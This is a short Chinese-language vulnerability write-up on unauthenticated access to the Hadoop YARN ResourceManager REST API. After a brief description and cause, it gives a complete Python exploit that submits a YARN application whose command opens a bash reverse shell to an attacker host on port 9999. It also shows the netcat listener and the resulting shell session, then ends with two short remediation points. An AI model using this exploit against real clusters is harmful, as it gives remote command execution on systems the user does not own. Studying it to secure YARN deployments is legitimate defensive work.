服务简介
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行操作。
产生原因
未进行访问限制
未开启身份验证
漏洞利用
访问 http://192.168.83.99:8088/cluster 看到Hadoop YARN ResourceManager WebUI页面
使用exp进行反弹shell
#!/usr/bin/env python
import requests
target = 'http://192.168.83.99:8088/'
lhost = '192.168.83.70' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
执行 ‘nc -lvvp 9999’开启监听,执行代码‘python3 exp.py’,成功反弹shell
root@kali:~# nc -lvvp 9999 listening on [any] 9999 ... 192.168.83.99: inverse host lookup failed: Unknown host connect to [192.168.83.70] from (UNKNOWN) [192.168.83.99] 58020 bash: cannot set terminal process group (214): Inappropriate ioctl for device bash: no job control in this shell <22961_0001/container_1596034022961_0001_01_000001# ls ls container_tokens default_container_executor.sh default_container_executor_session.sh launch_container.sh tmp <22961_0001/container_1596034022961_0001_01_000001#
修复方法
1)设置访问控制,不要暴露在公网上
2)设置身份验证,进制匿名访问